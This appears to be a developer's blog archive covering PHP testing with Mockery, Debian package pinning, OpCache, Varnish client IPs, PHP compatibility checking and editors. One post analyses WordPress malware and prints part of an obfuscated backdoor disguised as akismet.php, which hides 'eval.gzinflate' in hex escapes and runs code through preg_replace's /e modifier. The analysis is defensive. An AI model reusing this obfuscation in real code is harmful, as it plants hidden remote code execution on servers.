Mockery (test doubles/mocking dependencies)

[This is a relatively old post I think I forgot to publish….]

Previously, I’d only used PHPUnit’s mock implementation; however lately I’ve been exposed to Mockery.

While they both achieve broadly the same result (at least from my point of view), here’s an example of how to mock dependencies with Mockery.

Class to test:

class TestMe {
    private $db;
    public function __construct(PDO $db) {
        $this->db = $db;
    }

    public function doesSomethingImportant(array $data) : bool {
        $stmt = $this->db->prepare("UPDATE my_table SET field2 = :field2 WHERE field1 = :field1");
        return $stmt->execute(['field1' => $data['field1'], 'field2' => $data['field2']);

    }
}

And to test ….

....
use Mockery as m;
class MyTest extends \PHPUnit\Framework\TestCase {
    public function tearDown() {
        m::close();
        parent::tearDown();
   }
    public function testDoesSomethingImpotant() {
        $fakePdo = m::mock(\PDO::class);
        $stmt = m::mock(\PDOStatement::class);
        $stmt
           ->shouldReceive('execute')
           ->withArgs(['field1' => 'hello', 'field2' => 'world'])
           ->once()
           ->andReturn(true);
        $fakePdo
           ->shouldReceive('prepare')
           ->withArgs(['UPDATE my table SET field2 = :field2 WHERE field1 = :field1'])
           ->once()
           ->andReturn($stmt);

        $testClass = new TestMe($fakePdo);
        $this->assertTrue(
            $testClass->updateSomething(['field1' => 'hello', 'field2' => 'world']);
    }
}

So that’s all well and good, and with a little imagination you can see how a method that does some calculation could be tested to ensure it does the calculation correctly and performs the appropriate database query. It obviously requires you inject all dependencies in to the class (else you can’t pass in the appropriate mocks!)

While this test is isolated from the underlying database, it doesn’t ensure you code will work – what if someone’s changed the database schema – your test will still (incorrectly) pass …

You can also create ‘fake’ errors throughout your code which might help give you a higher code coverage score 🙂

$pdo = m::mock(PDO::class);

$pdo->shouldReceive('prepare')
    ->withArgs(['bad sql'])
    ->andThrow(PDOException::class);

$pdo->shouldReceive('prepare')
    ->withArgs(['whatever good sql'])
    ->once()
    ->andReturn($stmt);

$pdo->shouldReceive('prepare')
    ->withArgs(['more good sql'])
    ->once()
    ->andReturn($stmt);
....

Random wordpress malware

A customer’s server was compromised ages ago with lots of lots of WordPress malware.

The developers are now on top of it, thanks to a combination of :

* Removing wordpress’s write permission (moving over to just use SFTP)
* Adding maldet (Linux Malware Detection).
* Tightening up the firewall so only incoming connections to specific ports are allowed.
* Stopping anyone except Postfix from being able to send out email (e.g iptables -I OUTPUT -p tcp -m multiport --dpots 25,587 -m state --state NEW -m owner ! --uid-owner 106 -j REJECT and of course logging attempts)

Most of the malware was easy to spot – references to eval / base64_decode – which are easy to ack-grep for. Or the malware would launch processes which would retain their /proc/$pid/environ file – and therefore be quite easy to locate.

However, one launched a perl process which was difficult to track down – partly because it wiped it’s /proc/$pid/environ file so it was hard to know which site it was running from. Thankfully, there was a filehandle to the launching code (/tmp file that was deleted on execution) (/proc/$pid/fd/xx) which could be easily read – which revealed enough information to lead to it’s identification.

So, behold /wp-content/plugins/akismet.php (so believable file name)

Random interesting contents below:

/**
 * Functions for reading, writing, modifying, and deleting files on the file system.
 * Includes functionality for theme-specific files as well as operations for uploading,
 * archiving, and rendering output when necessary.
 *
 * @package WordPress
 * @subpackage Administration
 *
 * @id : c78fb310d8ec1daaba40e84241bc4d42dc
 */

/** The descriptions for theme files. */

$hash = "ff6fd53c4b437772493471d68799f69d";
$search = '';
$wp_file_descriptions = array(
        'index.php' =>  'Main Index Template',
        'style.css' =>  'Stylesheet',
        'editor-style.css' =>  'Visual Editor Stylesheet',
        'editor-style-rtl.css' =>  'Visual Editor RTL Stylesheet',
        'rtl.css' =>  "\x65val.gz"."in\x66late",
        'comments.php' =>  'Comments',
...

for($i = 0; $i < strlen($wp_file_descriptions['md5_check.php']); $i = $i+2)
$search .= '%'.substr($wp_file_descriptions['md5_check.php'], $i, 2);

$wp_template = @preg_replace("/([a-z0-9-%]+).([a-z-@]+).([a-z]+)/\x65", "$2($3(urldecode('$1')))", $search.".@".$wp_file_descriptions['rtl.css']);

Note:

0x65 == ‘e’, and 0x66 == ‘f’, so the preg_replace is executing code with the \e modifier.

The code that eventually gets executed opens port 26450 (tcp) and was presumably some sort of backdoor.

dotdeb – apt package pinning

As of last night, Debian Security released PHP 5.4.44 for Wheezy. Wheezy shipped with PHP 5.4.12 or something like that.

DotDeb is currently on 5.4.43, and if you’ve been using it based on the assumption that it has a newer version of a package over Debian, then an upgrade will leave your PHP install in a mess (e.g. no php5-gearman or php5-imagick).

To fix this, the following in e.g. /etc/apt/preferences.d/dotdeb will help :

Package: *
Pin: origin packages.dotdeb.org
Pin-Priority: 1001

This should make apt choose dotdeb packages over Debian, even if Debian contains a newer version.

i.e. stop apt relying on just the package version number, and previously dotdeb always had a higher one.

PHP 5.4 + xcache -> PHP 5.6 + Zend OpCache memory usage

In relatively unscientific tests, it seems moving from PHP5.4 with xcache to PHP 5.6 with Zend’s OpCache can lead to approximately 50% memory reduction.

(xcache was set to have a 64mb size, Zend OpCache is also using 64mb of memory).

Continue reading “PHP 5.4 + xcache -> PHP 5.6 + Zend OpCache memory usage”

PostgreSQL unbuffered queries and PHP (cursors)

From using MySQL, I’ve used the ‘unbuffered queries‘ feature a number of times. It’s where you don’t fetch the entire resultset into memory at once – which is necessary if you’re retrieving more data than you have memory available. If’s often also generally gets results/data back to you sooner.
Continue reading “PostgreSQL unbuffered queries and PHP (cursors)”

Fixing REMOTE_ADDR when behind a proxy/varnish server

I had an annoyance where varnish proxy infront of a LAMP server and the LAMP server therefore thought all clients were from the varnish proxy – rather than the client’s real IP address – i.e. $_SERVER[‘REMOTE_ADDR’] was set to the IP address of the Varnish proxy and not that of the client’s actual IP address.

Obviously, Varnish adds the X_HTTP_FORWARDED_FOR HTTP header in when a connection comes through it; so my initial thought was to just overwrite PHP’s $_SERVER[‘REMOTE_ADDR’] setting. A bit of a hack and annoying – as I’d need to fix all sites, or have some sort of global prepend file (which is horrible).

I then discovered something which sorts the problem out  – RPAF

  • apt-get install libapache2-mod-rpaf
  • Edit /etc/apache2/mods-enabled/rpaf.conf and ensure your proxy server’s IP address is listed on the RPAFproxy_ips line (e.g. RPAFproxy_ips 127.0.0.1 89.16.176.x).
  • Restart Apache, and you’ll then find that the $_SERVER[‘REMOTE_ADDR’] value will be correct.

 

 

Checking PHP code for compatibility issues

One project I occassionally hack on is Xerte Toolkits.

Yesterday on the mailing list it came up that someone was trying to use XOT with PHP4.

After getting over some initial shock that people still use PHP4 (it was end-of-lifed in August 2008) I wondered how easy it would be to check the status of a code base to find how incompatible with PHP4 it now is.

My initial thought was to find a list of functions which had been added with PHP5 and then just grep the code for them, but it turns out there is a much nicer approach – PHP_CompatInfo

Installation was fairly straight forward – like :

pear channel-discover bartlett.laurent-laville.org
pear install bartlett/PHP_CompatInfo

Annoyingly the documentation seemed well hidden – but once I found it (http://php5.laurent-laville.org/compatinfo/manual/2.3/en/index.html#_documentation) it was pretty easy to use, and the ‘phpci’ command did all I needed –

Examples :

1. List global variables in use :

$ phpci print --reference PHP5 --report global -R . 
436 / 436 [+++++++++++++++++++++++++++++++++++++++++++++++++++++++++>] 100.00%
BASE: /home/david/src/XOT/trunk

-------------------------------------------------------------------------------
PHP COMPAT INFO GLOBAL SUMMARY
-------------------------------------------------------------------------------
  GLOBAL                                                  VERSION         COUNT
-------------------------------------------------------------------------------
                                        $_GET             4.1.0               1
  data                                  $_GET             4.1.0               2
  debug                                 $_GET             4.1.0               2
  export                                $_GET             4.1.0               2
  file                                  $_GET             4.1.0               1
  firstname                             $_GET             4.1.0               1
....

2. Find all PHP5 functions in use :

$ phpci print  --report function -R . | grep 5.
436 / 436 [+++++++++++++++++++++++++++++++++++++++++++++++++++++++++>] 100.00%
  spl_autoload_register                 SPL               5.1.2               1
  simplexml_load_file                   SimpleXML         5.0.0               1
  iconv_set_encoding                    iconv             4.0.5               1
  iconv_strlen                          iconv             5.0.0              10
  iconv_strpos                          iconv             5.0.0              38
  iconv_strrpos                         iconv             5.0.0               3
  iconv_substr                          iconv             5.0.0              33
  dirname                               standard          4.0.0              53
  fclose                                standard          4.0.0              51
  file_put_contents                     standard          5.0.0               6
  fopen                                 standard          4.0.0              55
  fread                                 standard          4.0.0              57
  fwrite                                standard          4.0.0              50
  htmlentities                          standard          5.2.3               1
  md5                                   standard          4.0.0               1
  scandir                               standard          5.0.0               1
  str_split                             standard          5.0.0               3
REQUIRED PHP 5.2.3 (MIN) 
Time: 0 seconds, Memory: 28.25Mb

and finally,

3. Class usage :

$ phpci print  --report class -R . | grep 5.
436 / 436 [+++++++++++++++++++++++++++++++++++++++++++++++++++++++++>] 100.00%
  Exception                             SPL               5.1.0               1
  InvalidArgumentException              SPL               5.1.0               2
REQUIRED PHP 5.1.0 (MIN)

4. All class usage :

i.e. without me grep’ping the results.

$ phpci print  --report class -R . 
436 / 436 [+++++++++++++++++++++++++++++++++++++++++++++++++++++++++>] 100.00%
BASE: /home/david/src/XOT/trunk

-------------------------------------------------------------------------------
PHP COMPAT INFO CLASS SUMMARY
-------------------------------------------------------------------------------
  CLASS                                 EXTENSION         VERSION         COUNT
-------------------------------------------------------------------------------
  Exception                             SPL               5.1.0               1
  InvalidArgumentException              SPL               5.1.0               2
  PHP_CompatInfo                                          4.0.0               1
  Snoopy                                                  4.0.0               2
  StdClass                                                4.0.0               2
  Xerte_Authentication_Abstract                           4.0.0               6
  Xerte_Authentication_Factory                            4.0.0               4
  Xerte_Authentication_Guest                              4.0.0               1
  Xerte_Authentication_Ldap                               4.0.0               1
  Xerte_Authentication_Moodle                             4.0.0               1
  Xerte_Authentication_Static                             4.0.0               1
  Xerte_Authetication_Db                                  4.0.0               1
  Zend_Exception                                          4.0.0               2
  Zend_Locale                                             4.0.0               7
  Zend_Locale_Data                                        4.0.0              19
  Zend_Locale_Data_Translation                            4.0.0               6
  Zend_Locale_Exception                                   4.0.0              28
  Zend_Locale_Format                                      4.0.0               3
  Zend_Locale_Math                                        4.0.0              14
  Zend_Locale_Math_Exception                              4.0.0               9
  Zend_Locale_Math_PhpMath                                4.0.0              11
  archive                                                 4.0.0               3
  bzip_file                                               4.0.0               1
  dUnzip2                                                 4.0.0               3
  gzip_file                                               4.0.0               1
  tar_file                                                4.0.0               3
  toolkits_session_handler                                4.0.0               1
  zip_file                                                4.0.0               2
-------------------------------------------------------------------------------
A TOTAL OF 28 CLASS(S) WERE FOUND
REQUIRED PHP 5.1.0 (MIN) 
-------------------------------------------------------------------------------
Time: 0 seconds, Memory: 27.50Mb
-------------------------------------------------------------------------------

Which answers my question(s) and so on.

Netbeans vs Vim … round 1 … fight

So, I think I’ve changed ‘editor’. Perhaps this is a bit like an engineer changing their calculator or something.

For the last 10 years, I’ve effectively only used ‘vim‘ for development of any PHP code I work on.

I felt I was best served using something like vim – where the interface was uncluttered, everything was a keypress away and I could literally fill my entire monitor with code. This was great if my day consisted of writing new code.

Unfortunately, this has rarely been the case for the last few years. I’ve increasingly found myself dipping in and out of projects – or needing to navigate through a complex set of dependencies to find methods/definitions/functions – thanks to  the likes of PSR0. Suffice to say, Vim doesn’t really help me do this.

Perhaps, I’ve finally learnt that ‘raw’ typing speed is not the only measure of productivity – navigation through the codebase, viewing inline documentation or having a debugger at my fingertips is also important.

So, last week, while working on one project, I eventually got fed up of juggling between terminals and fighting with tab completion that I re-installed netbeans – so, while I’m sure vim can probably do anything netbeans can – if you have the right plugin installed and super flexible fingers.

So, what have I gained/lost :

  • a 10 second slow down – that’s how long it takes to start Netbeans – even with an SSD and a desktop that should be quick enough (perhaps this is justification for a faster desktop?). Lesson learnt – do not close Netbeans.
  • indexing of the code – although this takes some time when importing an existing project – it does make it very quick to ‘find uses’ of function/class X
  • the ability to easily jump to a function/class definition (right click, find uses …)
  • a list of ‘todo’ items – from my code comments … this has led to me removing some old legacy cruft…
  • the ‘refactor’ functionality – i.e. rename function old_name() and change all instances of it to new_name()
  • code indentation seems to work better under netbeans
  • inline ‘warnings’ (i.e. unused variable, previously undefined variable[x], syntax errors etc) – so I don’t have to wait for them to appear in a browser or elsewhere.
  • inline documentation etc while typing (i.e. type in in_array( and it reminds me where the needle and haystack are)
  • with the right them, a nicer editor Window (mine is based on BrandonDark)

x – Fails with global variables on legacy projects though – in that netbeans doesn’t realise the variable has been sucked in through a earlier ‘require’ call.

I did briefly look at sublime a few weeks ago, but couldn’t see what the fuss was about – it didn’t seem to do very much – apart from have multiple tabs open for the various files I was editing.